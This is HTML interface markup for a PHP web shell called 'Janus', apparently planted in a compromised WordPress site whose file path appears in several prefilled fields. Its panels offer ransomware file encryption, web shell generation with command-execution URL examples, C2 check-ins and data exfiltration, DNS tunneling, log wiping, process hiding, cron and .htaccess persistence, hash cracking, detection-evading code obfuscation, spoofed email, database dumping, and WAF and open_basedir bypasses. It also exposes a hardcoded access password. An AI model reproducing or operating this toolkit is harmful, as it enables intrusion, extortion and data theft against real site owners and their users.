		<div id="view-file-watcher" class="view-container"><div class="content-header">Real-time File Watcher</div><div class="content-area"><div class="tool-section"><h3>Monitor File Changes</h3><p style="color: var(--text-med);">Watch a directory for file changes in real-time. Detects created, deleted, and modified files.</p><div style="display:flex; gap: 1rem; align-items:center; margin-bottom:1rem;"><input type="text" id="watcher-path" placeholder="Path to monitor (e.g., /var/www)" style="flex:1;"><input type="number" id="watcher-interval" value="2" min="1" max="60" style="width:100px;" title="Check interval in seconds"><button id="start-watcher-btn">Start Watching</button><button id="stop-watcher-btn" style="display:none;">Stop Watching</button></div><div id="watcher-status" style="margin-bottom:1rem; padding:10px; background:var(--bg-light); border-radius:6px; display:none;"></div><div id="watcher-results" style="max-height:400px; overflow-y:auto;"><pre id="watcher-output" class="output-box" style="min-height:200px;"></pre></div></div></div></div>
		<div id="view-process-manager" class="view-container"><div class="content-header">Process Manager</div><div class="content-area"><div class="tool-section"><h3>Running Processes</h3><p style="color: var(--text-med);">View and manage running processes on the system.</p><div style="display:flex; gap:1rem; margin-bottom:1rem;"><button id="refresh-processes-btn">🔄 Refresh</button><button id="auto-refresh-processes-btn">⏱️ Auto Refresh (5s)</button></div><div style="overflow-x:auto;"><table class="results-table" id="processes-table"><thead><tr><th>PID</th><th>User</th><th>CPU %</th><th>Memory %</th><th>Command</th><th>Actions</th></tr></thead><tbody id="processes-list"></tbody></table></div></div></div></div>
		<div id="view-packet-capture" class="view-container"><div class="content-header">Network Packet Capture</div><div class="content-area"><div class="tool-section"><h3>Capture Network Traffic</h3><p style="color: var(--text-med);">Capture network packets using tcpdump (Linux only). Requires tcpdump and appropriate permissions.</p><div style="display:grid; grid-template-columns: repeat(auto-fit, minmax(200px, 1fr)); gap:1rem; margin-bottom:1rem;"><input type="text" id="capture-interface" placeholder="Interface (e.g., eth0, any)" value="any"><input type="number" id="capture-count" placeholder="Packet count" value="50" min="1" max="1000"><input type="text" id="capture-filter" placeholder="BPF filter (optional)"></div><button id="start-capture-btn">Start Capture</button><pre id="capture-output" class="output-box" style="margin-top:1rem; min-height:200px;"></pre></div></div></div>
		<div id="view-crypto-tools" class="view-container"><div class="content-header">Cryptography Tools</div><div class="content-area"><div class="tabs"><span class="tab-link active" data-tab="file-crypto">File Encryption</span><span class="tab-link" data-tab="dns-tunnel">DNS Tunneling</span></div><div id="tab-file-crypto" class="tab-content active"><div class="tool-section"><h3>File Encryption/Decryption</h3><p style="color: var(--text-med);">Encrypt or decrypt files using AES-256-CBC encryption.</p><div style="display:grid; grid-template-columns: repeat(auto-fit, minmax(250px, 1fr)); gap:1rem; margin-bottom:1rem;"><input type="text" id="crypto-file-path" placeholder="Full path to file"><input type="password" id="crypto-password" placeholder="Password"></div><div style="display:flex; gap:1rem;"><button id="encrypt-file-btn">🔒 Encrypt File</button><button id="decrypt-file-btn">🔓 Decrypt File</button></div><div id="crypto-results" style="margin-top:1rem;"></div></div></div><div id="tab-dns-tunnel" class="tab-content"><div class="tool-section"><h3>DNS Tunneling</h3><p style="color: var(--text-med);">Send and receive data through DNS queries (covert channel).</p><div style="display:grid; grid-template-columns: repeat(auto-fit, minmax(200px, 1fr)); gap:1rem; margin-bottom:1rem;"><input type="text" id="dns-domain" placeholder="Domain (e.g., example.com)" value="example.com"><textarea id="dns-data" placeholder="Data to send" style="grid-column: 1 / -1; min-height:100px;"></textarea></div><div style="display:flex; gap:1rem;"><button id="dns-send-btn">📤 Send via DNS</button><button id="dns-receive-btn">📥 Receive via DNS</button></div><pre id="dns-results" class="output-box" style="margin-top:1rem;"></pre></div></div></div></div>
		<div id="view-advanced-tools" class="view-container"><div class="content-header">Advanced Tools</div><div class="content-area"><div class="tabs"><span class="tab-link active" data-tab="memory-dump">Memory Analysis</span><span class="tab-link" data-tab="exploit-suggester">Exploit Suggester</span><span class="tab-link" data-tab="password-cracker">Password Cracker</span><span class="tab-link" data-tab="code-obfuscator">Code Obfuscator</span></div><div id="tab-memory-dump" class="tab-content active"><div class="tool-section"><h3>Memory Dump Analyzer</h3><p style="color: var(--text-med);">Dump and analyze process memory (Linux only, requires gdb or /proc access).</p><div style="display:flex; gap:1rem; margin-bottom:1rem;"><input type="number" id="memdump-pid" placeholder="Process ID (PID)" style="width:150px;"><button id="dump-memory-btn">Dump Memory</button></div><div style="display:flex; gap:1rem; margin-top:1rem;"><input type="text" id="memdump-file" placeholder="Dump file path" style="flex:1;"><input type="text" id="memdump-pattern" placeholder="Search pattern (optional)" style="flex:1;"><button id="analyze-memory-btn">Analyze Dump</button></div><pre id="memdump-output" class="output-box" style="margin-top:1rem; min-height:200px;"></pre></div></div><div id="tab-exploit-suggester" class="tab-content"><div class="tool-section"><h3>Automated Exploit Suggester</h3><p style="color: var(--text-med);">Analyze system and suggest potential exploits based on OS, kernel, and installed software.</p><button id="suggest-exploits-btn">🔍 Suggest Exploits</button><div id="exploit-suggestions" style="margin-top:1rem;"></div></div></div><div id="tab-password-cracker" class="tab-content"><div class="tool-section"><h3>Password Hash Cracker</h3><p style="color: var(--text-med);">Attempt to crack password hashes using common passwords and wordlists.</p><div style="display:grid; grid-template-columns: repeat(auto-fit, minmax(200px, 1fr)); gap:1rem; margin-bottom:1rem;"><input type="text" id="hash-input" placeholder="Hash to crack" style="grid-column: 1 / -1;"><select id="hash-type" style="width:150px;"><option value="auto">Auto-detect</option><option value="md5">MD5</option><option value="sha1">SHA1</option><option value="sha256">SHA256</option><option value="bcrypt">bcrypt</option></select></div><button id="crack-hash-btn">🔓 Crack Hash</button><div id="crack-results" style="margin-top:1rem;"></div><hr><h3>Wordlist Generator</h3><p style="color: var(--text-med);">Generate wordlists from base words with patterns.</p><textarea id="wordlist-base" placeholder="Base words (one per line)" style="width:100%; min-height:100px; margin-bottom:1rem;"></textarea><button id="generate-wordlist-btn">Generate Wordlist</button><div id="wordlist-results" style="margin-top:1rem;"></div></div></div><div id="tab-code-obfuscator" class="tab-content"><div class="tool-section"><h3>PHP Code Obfuscator</h3><p style="color: var(--text-med);">Obfuscate PHP code using various techniques to evade detection.</p><div style="margin-bottom:1rem;"><select id="obfuscate-method" style="width:200px;"><option value="base64">Base64</option><option value="hex">Hex</option><option value="chr">CHR</option><option value="rot13">ROT13</option><option value="gzip">Gzip + Base64</option><option value="variable_split">Variable Split</option></select></div><textarea id="obfuscate-code" placeholder="PHP code to obfuscate" style="width:100%; min-height:200px; margin-bottom:1rem;"></textarea><button id="obfuscate-btn">Obfuscate Code</button><pre id="obfuscate-output" class="output-box" style="margin-top:1rem; min-height:150px;"></pre></div></div></div></div>
		<div id="view-notifications" class="view-container"><div class="content-header">Notification Center</div><div class="content-area"><div style="display:flex; justify-content:space-between; align-items:center; margin-bottom:1rem;"><h3 style="margin:0;">Notifications</h3><button id="clear-all-notifications-btn">Clear All</button></div><div id="notifications-list" style="display:flex; flex-direction:column; gap:0.5rem;"></div></div></div>
		<div id="view-webshell-manager" class="view-container"><div class="content-header">🕷️ Web Shell Manager</div><div class="content-area"><div class="tabs"><span class="tab-link active" data-tab="generate-shell">Generate Shell</span><span class="tab-link" data-tab="find-shells">Find Shells</span></div><div id="tab-generate-shell" class="tab-content active"><div class="tool-section"><h3>Generate Lightweight Shell</h3><p style="color: var(--text-med);">Generate a lightweight PHP shell with unique identifier for easy tracking. The shell supports both GET and POST methods.</p><div style="display:grid; grid-template-columns: repeat(auto-fit, minmax(200px, 1fr)); gap:1rem; margin-bottom:1rem;"><input type="text" id="shell-password" placeholder="Password (default: janus)" value="janus" style="grid-column: 1 / -1;"><div style="grid-column: 1 / -1; padding:10px; background:var(--bg-light); border-radius:6px; font-size:0.85rem; color:var(--text-med);"><strong>ℹ️ Identifier:</strong> Each generated shell includes a unique identifier (JANUS_SHELL_IDENTIFIER_*) that allows you to track and find all deployed shells using the "Find Shells" feature.</div></div><button id="generate-shell-btn">Generate Shell</button><div style="margin-top:1rem; padding:15px; background:var(--bg-light); border-radius:6px; border-left:3px solid var(--accent-blue); margin-bottom:1rem;"><h4 style="margin-top:0; margin-bottom:0.75rem; color:var(--accent-blue);">📖 How to Use Shell:</h4><div style="font-size:0.9rem; color:var(--text-light); line-height:1.6;"><p style="margin:0.5rem 0;"><strong>1. GET Method (URL):</strong></p><code style="display:block; padding:8px; background:var(--bg-dark); border-radius:4px; margin:0.5rem 0; font-size:0.85rem; word-break:break-all;">http://yoursite.com/shell.php?janus=&lt;command&gt;</code><p style="margin:0.5rem 0;"><strong>Examples:</strong></p><ul style="margin:0.5rem 0; padding-left:1.5rem;"><li><code style="font-size:0.85rem;">http://yoursite.com/shell.php?janus=whoami</code></li><li><code style="font-size:0.85rem;">http://yoursite.com/shell.php?janus=ls -la</code></li><li><code style="font-size:0.85rem;">http://yoursite.com/shell.php?janus=id</code></li></ul><p style="margin:0.5rem 0;"><strong>2. POST Method:</strong></p><p style="margin:0.5rem 0; font-size:0.85rem;">Send POST request with parameter <code>janus=&lt;command&gt;</code></p><p style="margin:0.5rem 0;"><strong>Notes:</strong></p><ul style="margin:0.5rem 0; padding-left:1.5rem; font-size:0.85rem;"><li>Default password: <code>janus</code> (if using a different password, change the parameter name)</li><li>For commands with spaces, use URL encoding: <code>%20</code> for space</li><li>Command chaining: use <code>;</code> or <code>&&</code></li></ul></div></div><div style="margin-top:1rem;"><label style="display:block; margin-bottom:0.5rem; color:var(--text-light); font-weight:500;">Generated Shell Code:</label><textarea id="generated-shell-code" style="width:100%; min-height:200px; font-family:'Courier New',monospace; font-size:12px; background:var(--bg-dark); color:var(--text-light); border:1px solid var(--border-color); border-radius:6px; padding:1rem;" readonly placeholder="Generated shell code will appear here..."></textarea><button id="copy-shell-code-btn" style="margin-top:0.5rem;">📋 Copy Code</button></div></div></div><div id="tab-find-shells" class="tab-content"><div class="tool-section"><h3>Find Deployed Shells</h3><p style="color: var(--text-med);">Automatically search for all .php files containing the JANUS_SHELL_IDENTIFIER. This will find all shells generated by this tool.</p><div style="display:flex; gap:1rem; margin-bottom:1rem;"><input type="text" id="find-shells-path" placeholder="Search path (e.g., /var/www)" style="flex:1;"><button id="find-shells-btn">🔍 Search</button></div><div id="find-shells-results" style="margin-top:1rem;"><p style="color:var(--text-med); text-align:center;">Click "Search" to find all deployed shells</p></div></div></div></div></div>
		<div id="view-column-dumper" class="view-container"><div class="content-header">📊 Column Dumper</div><div class="content-area"><div class="tool-section"><h3>Dump Database Column</h3><p style="color: var(--text-med);">Extract all data from a specific column in a database table.</p><div style="display:grid; grid-template-columns: repeat(auto-fit, minmax(200px, 1fr)); gap:1rem; margin-bottom:1rem;"><input type="text" id="col-dump-host" placeholder="Database Host" style="grid-column: 1 / 2;"><input type="text" id="col-dump-user" placeholder="Username" style="grid-column: 2 / 3;"><input type="password" id="col-dump-pass" placeholder="Password" style="grid-column: 3 / 4;"><input type="text" id="col-dump-db" placeholder="Database Name" style="grid-column: 1 / 2;"><input type="text" id="col-dump-table" placeholder="Table Name" style="grid-column: 2 / 3;"><input type="text" id="col-dump-column" placeholder="Column Name" style="grid-column: 3 / 4;"></div><button id="col-dump-btn">Dump Column</button><div id="col-dump-results" style="margin-top:1rem;"></div></div></div></div>
		<div id="view-database-dumper" class="view-container"><div class="content-header">💾 Database Dumper</div><div class="content-area"><div class="tool-section"><h3>Dump Entire Database</h3><p style="color: var(--text-med);">Generate SQL dump of entire database with all tables and data.</p><div style="display:grid; grid-template-columns: repeat(auto-fit, minmax(200px, 1fr)); gap:1rem; margin-bottom:1rem;"><input type="text" id="db-dump-host" placeholder="Database Host" style="grid-column: 1 / 2;"><input type="text" id="db-dump-user" placeholder="Username" style="grid-column: 2 / 3;"><input type="password" id="db-dump-pass" placeholder="Password" style="grid-column: 3 / 4;"><input type="text" id="db-dump-db" placeholder="Database Name" style="grid-column: 1 / -1;"></div><button id="db-dump-btn">Dump Database</button><div id="db-dump-results" style="margin-top:1rem;"></div></div></div></div>
		<div id="view-open-basedir" class="view-container"><div class="content-header">🔓 Open BaseDir Bypass</div><div class="content-area"><div class="tool-section"><h3>Open BaseDir Bypass Methods</h3><p style="color: var(--text-med);">Generate PHP code to bypass open_basedir restrictions.</p><button id="basedir-generate-btn">Generate Bypass Methods</button><div id="basedir-results" style="margin-top:1rem;"></div></div></div></div>
		<div id="view-fake-mail" class="view-container"><div class="content-header">📧 Fake Mail</div><div class="content-area"><div class="tool-section"><h3>Send Fake Email</h3><p style="color: var(--text-med);">Send email with custom headers and spoofed sender address.</p><div style="display:grid; grid-template-columns: repeat(auto-fit, minmax(200px, 1fr)); gap:1rem; margin-bottom:1rem;"><input type="text" id="fake-mail-to" placeholder="To (recipient)" style="grid-column: 1 / -1;"><input type="text" id="fake-mail-from" placeholder="From (sender)" style="grid-column: 1 / -1;"><input type="text" id="fake-mail-subject" placeholder="Subject" style="grid-column: 1 / -1;"><textarea id="fake-mail-message" placeholder="Message body" style="grid-column: 1 / -1; min-height:150px;"></textarea><textarea id="fake-mail-headers" placeholder="Additional headers (optional)" style="grid-column: 1 / -1; min-height:100px; font-size:0.85rem;"></textarea></div><button id="fake-mail-btn" class="danger-btn">Send Email</button><div id="fake-mail-results" style="margin-top:1rem;"></div></div></div></div>
		<div id="view-whmcs-decoder" class="view-container"><div class="content-header">🔐 WHMCS Decoder</div><div class="content-area"><div class="tool-section"><h3>Decode WHMCS Encoded Strings</h3><p style="color: var(--text-med);">Decode base64, hex, or gzinflate encoded strings commonly used in WHMCS.</p><div style="display:grid; grid-template-columns: repeat(auto-fit, minmax(200px, 1fr)); gap:1rem; margin-bottom:1rem;"><textarea id="whmcs-encoded" placeholder="Paste encoded string here..." style="grid-column: 1 / -1; min-height:200px; font-family:'Courier New',monospace; font-size:12px;"></textarea></div><button id="whmcs-decode-btn">Decode</button><div id="whmcs-results" style="margin-top:1rem;"></div></div></div></div>
		<div id="view-ransom-creator" class="view-container"><div class="content-header">💀 Ransomware Generator</div><div class="content-area"><div class="tabs"><span class="tab-link active" data-tab="encrypt">Encrypt Files</span><span class="tab-link" data-tab="decrypt">Decrypt File</span></div><div id="tab-encrypt" class="tab-content active"><div class="tool-section"><h3>File Selection</h3><p style="color: var(--text-med);">Select files to encrypt using HADES multi-layer encryption. Files will be encrypted with .hades extension.</p><div style="margin-bottom:1rem;"><h4>Method 1: Select Files Directly</h4><div style="display:flex; gap:1rem; margin-bottom:1rem;"><input type="text" id="ransom-browse-path" placeholder="Browse path (e.g., /var/www)" style="flex:1;"><button id="ransom-browse-btn">Browse Files</button></div><div id="ransom-file-selector" style="max-height:300px; overflow-y:auto; border:1px solid var(--border-color); border-radius:6px; padding:1rem; background:var(--bg-dark); margin-bottom:1rem;"><p style="color:var(--text-med); text-align:center;">Click "Browse Files" to select files</p></div></div><div style="margin-bottom:1rem;"><h4>Method 2: Encrypt by Extension</h4><div style="display:grid; grid-template-columns: repeat(auto-fit, minmax(200px, 1fr)); gap:1rem; margin-bottom:1rem;"><input type="text" id="ransom-extensions" placeholder="Extensions (e.g., txt,doc,pdf)" style="grid-column: 1 / -1;"><input type="text" id="ransom-search-paths" placeholder="Search paths (comma separated)" style="grid-column: 1 / -1;"></div></div><div style="margin-bottom:1rem;"><h4>Encryption Settings</h4><p style="color:var(--text-med); font-size:0.85rem; margin-bottom:0.5rem;">🔐 HADES Encryption: 13-layer encryption with AES-256-CBC (3x), XOR obfuscation, compression, and multiple encoding layers.</p><div style="display:flex; gap:1rem; align-items:center; margin-bottom:1rem;"><input type="password" id="ransom-password" placeholder="Encryption Password (leave empty for auto-generate)" style="flex:1;"><button id="ransom-generate-password-btn">Generate</button></div><div id="ransom-selected-count" style="padding:10px; background:var(--bg-light); border-radius:6px; margin-bottom:1rem; display:none;"><strong>Selected:</strong> <span id="ransom-count">0</span> file(s)</div><button id="ransom-encrypt-btn" class="danger-btn" style="width:100%;">🔒 Encrypt Selected Files (.hades)</button></div><div id="ransom-encrypt-results" style="margin-top:1rem;"></div></div></div><div id="tab-decrypt" class="tab-content"><div class="tool-section"><h3>Decrypt File</h3><p style="color: var(--text-med);">Decrypt a file that was encrypted by HADES Ransomware Generator.</p><div style="display:grid; grid-template-columns: repeat(auto-fit, minmax(200px, 1fr)); gap:1rem; margin-bottom:1rem;"><input type="text" id="ransom-decrypt-file" placeholder="Path to .hades file" style="grid-column: 1 / -1;"><input type="password" id="ransom-decrypt-password" placeholder="Decryption Password" style="grid-column: 1 / -1;"></div><button id="ransom-decrypt-btn" style="width:100%;">🔓 Decrypt File</button><div id="ransom-decrypt-results" style="margin-top:1rem;"></div></div></div></div></div>
		<div id="view-advanced-stealth" class="view-container"><div class="content-header">👻 Stealth & Anti-Detection</div><div class="content-area"><div class="tabs"><span class="tab-link active" data-tab="process-hide">Process Hiding</span><span class="tab-link" data-tab="log-evasion">Log Evasion</span></div><div id="tab-process-hide" class="tab-content active"><div class="tool-section"><h3>Process Hiding</h3><p style="color: var(--text-med);">Attempt to hide PHP processes from system monitoring tools.</p><div style="display:flex; gap:1rem; margin-bottom:1rem;"><input type="number" id="stealth-pid" placeholder="Process ID (leave empty for current)" style="width:200px;"><button id="stealth-hide-process-btn">Hide Process</button></div><div id="stealth-process-results" style="margin-top:1rem;"></div></div></div><div id="tab-log-evasion" class="tab-content"><div class="tool-section"><h3>Log Evasion</h3><p style="color: var(--text-med);">Disable logging and clear command history to avoid detection.</p><div style="margin-bottom:1rem;"><select id="stealth-evasion-type" style="width:200px;"><option value="all">All Methods</option><option value="disable_logging">Disable Logging</option><option value="clear_history">Clear History</option></select></div><button id="stealth-log-evasion-btn" class="danger-btn">Apply Evasion</button><div id="stealth-evasion-results" style="margin-top:1rem;"></div></div></div></div></div>
		<div id="view-log-cleaner-advanced" class="view-container"><div class="content-header">🧹 Advanced Log Cleaner</div><div class="content-area"><div class="tool-section"><h3>Clean Log Files</h3><p style="color: var(--text-med);">Remove specific keywords/IPs from multiple log files simultaneously. Automatically detects common log locations if not specified.</p><div style="display:grid; grid-template-columns: repeat(auto-fit, minmax(300px, 1fr)); gap:1rem; margin-bottom:1rem;"><div><label style="display:block; margin-bottom:0.5rem; color:var(--text-light);">Log File Paths (one per line, leave empty for auto-detect):</label><textarea id="advanced-log-paths" placeholder="/var/log/apache2/access.log&#10;/var/log/nginx/access.log" style="width:100%; min-height:150px; font-family:monospace; font-size:12px;"></textarea></div><div><label style="display:block; margin-bottom:0.5rem; color:var(--text-light);">Keywords/IPs to Remove (one per line):</label><textarea id="advanced-log-keywords" placeholder="192.168.1.100&#10;your-ip-address&#10;suspicious-string" style="width:100%; min-height:150px; font-family:monospace; font-size:12px;"></textarea></div></div><div style="margin-bottom:1rem;"><label style="display:flex; align-items:center; gap:0.5rem; color:var(--text-light);"><input type="checkbox" id="advanced-log-backup" checked> Create backup before cleaning</label></div><button id="advanced-log-cleaner-btn" class="danger-btn">🧹 Clean Logs</button><div id="advanced-log-cleaner-results" style="margin-top:1rem;"></div></div></div></div>
		<div id="view-multi-backup" class="view-container"><div class="content-header">💾 Multi-Location Backup</div><div class="content-area"><div class="tool-section"><h3>Backup Shell to Multiple Locations</h3><p style="color: var(--text-med);">Create backups of your shell in multiple hidden locations for persistence. Automatically detects optimal backup locations if not specified.</p><div style="display:grid; grid-template-columns: repeat(auto-fit, minmax(300px, 1fr)); gap:1rem; margin-bottom:1rem;"><div><label style="display:block; margin-bottom:0.5rem; color:var(--text-light);">Source File:</label><input type="text" id="multi-backup-source" placeholder="/home/cr90210/domains/fsfpackaging.co.uk/public_html/wp-admin/includes/admin.php" style="width:100%;" value="/home/cr90210/domains/fsfpackaging.co.uk/public_html/wp-admin/includes/admin.php"></div><div><label style="display:block; margin-bottom:0.5rem; color:var(--text-light);">Backup Locations (one per line, leave empty for auto-detect):</label><textarea id="multi-backup-locations" placeholder="/tmp/.janus_backup.php&#10;/var/tmp/.janus_backup.php" style="width:100%; min-height:150px; font-family:monospace; font-size:12px;"></textarea></div></div><button id="multi-backup-btn">💾 Create Backups</button><div id="multi-backup-results" style="margin-top:1rem;"></div></div></div></div>
		<div id="view-c2-communication" class="view-container"><div class="content-header">📡 C2 Communication</div><div class="content-area"><div class="tool-section"><h3>Command & Control Server</h3><p style="color: var(--text-med);">Communicate with your C2 server for centralized command execution and data exfiltration.</p><div style="display:grid; grid-template-columns: repeat(auto-fit, minmax(250px, 1fr)); gap:1rem; margin-bottom:1rem;"><input type="text" id="c2-url" placeholder="C2 Server URL (e.g., https://your-c2.com/api)" style="grid-column: 1 / -1;"><select id="c2-action" style="width:200px;"><option value="checkin">Check-in</option><option value="upload">Upload Data</option><option value="download">Download Command</option><option value="report">Report Status</option></select><textarea id="c2-data" placeholder="Additional data to send (optional)" style="grid-column: 1 / -1; min-height:100px;"></textarea></div><button id="c2-communicate-btn">📡 Send to C2</button><div id="c2-results" style="margin-top:1rem;"></div></div></div></div>
		<div id="view-waf-bypass" class="view-container"><div class="content-header">🛡️ WAF Bypass Techniques</div><div class="content-area"><div class="tool-section"><h3>Test WAF Bypass Methods</h3><p style="color: var(--text-med);">Test various techniques to bypass Web Application Firewalls (Cloudflare, ModSecurity, etc.).</p><div style="display:grid; grid-template-columns: repeat(auto-fit, minmax(250px, 1fr)); gap:1rem; margin-bottom:1rem;"><input type="text" id="waf-target-url" placeholder="Target URL to test" style="grid-column: 1 / -1;"><textarea id="waf-payload" placeholder="Payload to test (e.g., SELECT * FROM users)" style="grid-column: 1 / -1; min-height:80px; font-family:monospace;"></textarea><select id="waf-technique" style="width:200px;"><option value="all">All Techniques</option><option value="case_variation">Case Variation</option><option value="encoding">Encoding</option><option value="comment_injection">Comment Injection</option><option value="whitespace">Whitespace</option><option value="string_concatenation">String Concatenation</option></select></div><button id="waf-bypass-test-btn">🛡️ Test Bypass</button><div id="waf-bypass-results" style="margin-top:1rem;"></div></div></div></div>
		<div id="view-system-profiler" class="view-container"><div class="content-header">🔍 System Profiler</div><div class="content-area"><div class="tool-section"><h3>System Information Gathering</h3><p style="color: var(--text-med);">Gather comprehensive system information for post-exploitation analysis.</p><div style="margin-bottom:1rem;"><select id="profiler-type" style="width:200px;"><option value="full">Full Profile</option><option value="system">System Info</option><option value="network">Network Info</option><option value="software">Installed Software</option><option value="permissions">Permissions</option></select></div><button id="system-profiler-btn">🔍 Gather System Info</button><div id="system-profiler-results" style="margin-top:1rem;"></div></div></div></div>
		<div id="view-multi-shell" class="view-container"><div class="content-header">🌐 Multi-Shell Manager</div><div class="content-area"><div class="tabs"><span class="tab-link active" data-tab="register-shell">Register Shell</span><span class="tab-link" data-tab="list-shells">List Shells</span><span class="tab-link" data-tab="broadcast">Broadcast Command</span></div><div id="tab-register-shell" class="tab-content active"><div class="tool-section"><h3>Register New Shell</h3><p style="color: var(--text-med);">Register this shell, local shell, or remote shell (different domain) for centralized management.</p><div style="margin-bottom:1rem;"><label style="display:flex; align-items:center; gap:0.5rem; color:var(--text-light); margin-bottom:0.5rem;"><input type="checkbox" id="register-is-remote" onchange="document.getElementById('register-remote-container').style.display = this.checked ? 'block' : 'none'; document.getElementById('register-local-container').style.display = this.checked ? 'none' : 'block';"> Register Remote Shell (Different Domain)</label></div><div id="register-local-container"><div style="display:grid; grid-template-columns: repeat(auto-fit, minmax(250px, 1fr)); gap:1rem; margin-bottom:1rem;"><input type="text" id="register-shell-path" placeholder="Shell path (leave empty for current)" style="grid-column: 1 / -1;" value="/home/cr90210/domains/fsfpackaging.co.uk/public_html/wp-admin/includes/admin.php"><input type="text" id="register-shell-name" placeholder="Shell name/alias" style="grid-column: 1 / 2;"><input type="text" id="register-shell-password" placeholder="Password (optional)" style="grid-column: 2 / -1;"></div></div><div id="register-remote-container" style="display:none;"><div style="display:grid; grid-template-columns: repeat(auto-fit, minmax(250px, 1fr)); gap:1rem; margin-bottom:1rem;"><input type="text" id="register-remote-url" placeholder="Remote Shell URL (e.g., https://example.com/janus.php)" style="grid-column: 1 / -1;"><input type="text" id="register-remote-name" placeholder="Shell name/alias" style="grid-column: 1 / 2;"><input type="text" id="register-remote-password" placeholder="Password (optional)" style="grid-column: 2 / -1;"></div><div style="padding:10px; background:var(--bg-light); border-radius:6px; margin-bottom:1rem; font-size:0.85rem; color:var(--text-med);"><strong>ℹ️ Remote Shell Requirements:</strong><br>• Remote shell must be accessible via HTTP/HTTPS<br>• Remote shell must be Janus shell (same version)<br>• Ensure remote shell allows POST requests</div></div><button id="register-shell-btn">📝 Register Shell</button><div id="register-shell-results" style="margin-top:1rem;"></div></div></div><div id="tab-list-shells" class="tab-content"><div class="tool-section"><h3>Registered Shells</h3><p style="color: var(--text-med);">View all registered shell instances (local and remote).</p><button id="list-shells-btn">🔄 Refresh List</button><div id="list-shells-results" style="margin-top:1rem;"></div></div></div><div id="tab-broadcast" class="tab-content"><div class="tool-section"><h3>Broadcast Command</h3><p style="color: var(--text-med);">Execute a command on all registered active shells simultaneously (local and remote).</p><div style="margin-bottom:1rem;"><input type="text" id="broadcast-command" placeholder="Command to execute (e.g., whoami)" style="width:100%;"></div><button id="broadcast-command-btn" class="danger-btn">📢 Broadcast Command</button><div id="broadcast-results" style="margin-top:1rem;"></div></div></div></div></div>
		<div id="view-enhanced-persistence" class="view-container"><div class="content-header">🔐 Enhanced Persistence & Recovery</div><div class="content-area"><div class="tool-section"><h3>Install Persistence Mechanisms</h3><p style="color: var(--text-med);">Install multiple persistence mechanisms to ensure shell recovery after deletion.</p><div style="display:grid; grid-template-columns: repeat(auto-fit, minmax(250px, 1fr)); gap:1rem; margin-bottom:1rem;"><textarea id="persistence-paths" placeholder="Target file paths (one per line, leave empty for current shell)" style="grid-column: 1 / -1; min-height:100px; font-family:monospace;">/home/cr90210/domains/fsfpackaging.co.uk/public_html/wp-admin/includes/admin.php</textarea><select id="persistence-type" style="width:200px;"><option value="cron">Cron Job (Auto-restore every 5 min)</option><option value="htaccess">.htaccess (Auto-prepend)</option></select></div><button id="enhanced-persistence-btn" class="danger-btn">🔐 Install Persistence</button><div id="enhanced-persistence-results" style="margin-top:1rem;"></div></div></div></div>
		<div id="view-defend" class="view-container">
			<div class="content-header">🛡️ Defend - Shell Protection</div>
			<div class="content-area">
				<div class="tool-section">
					<h3>Create .htaccess Protection</h3>
					<p style="color: var(--text-med);">Generate .htaccess file untuk melindungi shell dari akses langsung tanpa token. File .htaccess akan dibuat di direktori shell.</p>
					
					<div style="display:grid; grid-template-columns: repeat(auto-fit, minmax(250px, 1fr)); gap:1rem; margin-bottom:1rem;">
						<input type="text" id="defend-shell-path" placeholder="Shell path (leave empty for current)" style="grid-column: 1 / -1;" value="/home/cr90210/domains/fsfpackaging.co.uk/public_html/wp-admin/includes/admin.php">
						
						<div style="grid-column: 1 / -1; padding:15px; background:var(--bg-light); border-radius:6px; font-size:0.85rem; color:var(--text-med); border-left:3px solid var(--accent-blue);">
							<strong style="color:var(--accent-blue);">ℹ️ Information:</strong><br>
							• .htaccess akan dibuat di direktori yang sama dengan shell<br>
							• Protection akan memblokir akses GET langsung tanpa token<br>
							• POST requests tetap diizinkan untuk komunikasi shell<br>
							• Secret token akan disimpan di file .janus_secret_*<br>
							• File .htaccess TIDAK dibuat otomatis saat shell dibuka<br>
							• Anda harus mengklik tombol "Generate" untuk membuatnya
						</div>
					</div>
					
					<button id="create-htaccess-btn" class="danger-btn">🛡️ Generate .htaccess Protection</button>
					<div id="defend-results" style="margin-top:1rem;"></div>
				</div>
			</div>
		</div>
	</div>
 	<div id="editor-modal" class="modal"><div class="modal-content" style="width: 90%; max-width: 1200px;"><div class="modal-header"><h3 id="editor-filename"></h3><span class="close">&times;</span></div><div class="modal-body"><textarea id="editor-textarea"></textarea></div><button id="save-file-btn" style="margin-top: 1rem; align-self: flex-end;">Save Changes</button></div></div>
 	<div id="chmod-modal" class="modal"><div class="modal-content" style="width: auto;"><div class="modal-header"><h3>Change Permissions</h3><span class="close">&times;</span></div><input type="text" id="chmod-path" readonly style="margin-bottom: 1rem;"><input type="text" id="chmod-input" placeholder="e.g., 0755" style="margin-bottom: 1rem;"><button id="chmod-save-btn" style="align-self: flex-end;">Set Permissions</button></div></div>
 	<div id="timestomp-modal" class="modal"><div class="modal-content" style="width: 600px;"><div class="modal-header"><h3>Timestomp File</h3><span class="close">&times;</span></div><p style="margin-top:0; color:var(--text-med);">Change the timestamp of <strong id="timestomp-dest-filename"></strong> to match a source file.</p><input type="text" id="timestomp-source-input" placeholder="Full path to source file (e.g., /bin/sh)" style="width:100%; margin-bottom: 1rem;"><button id="timestomp-save-btn" style="align-self: flex-end;">Apply Timestamp</button></div></div>
 	<div id="media-modal" class="modal"><div class="modal-content"><div class="modal-header"><h3>Media Viewer</h3><span class="close">&times;</span></div><div class="modal-body" id="media-content" style="text-align:center;"></div></div></div>
	<div id="password-modal" class="modal"><div class="modal-content password-modal-content"><div class="modal-header password-modal-header"><h3>🔐 Password Required</h3><span class="close" id="password-modal-close">&times;</span></div><div class="modal-body password-modal-body"><div class="password-info-box"><div class="password-icon">🔑</div><p class="password-hint">Masukkan password untuk mengakses Domain Intel</p><div class="password-display"><span class="password-label">Password:</span><span class="password-value" id="password-display-value">hackerterlarang</span><button class="copy-password-btn" id="copy-password-btn" title="Copy Password">📋</button></div></div><div class="password-input-group"><label for="password-input">Enter Password:</label><input type="password" id="password-input" placeholder="Masukkan password di sini..." autocomplete="off" autofocus><div class="password-error" id="password-error"></div></div><div class="password-modal-actions"><button id="password-cancel-btn" class="password-btn-cancel">Cancel</button><button id="password-submit-btn" class="password-btn-submit">Verify & Continue</button></div></div></div></div>
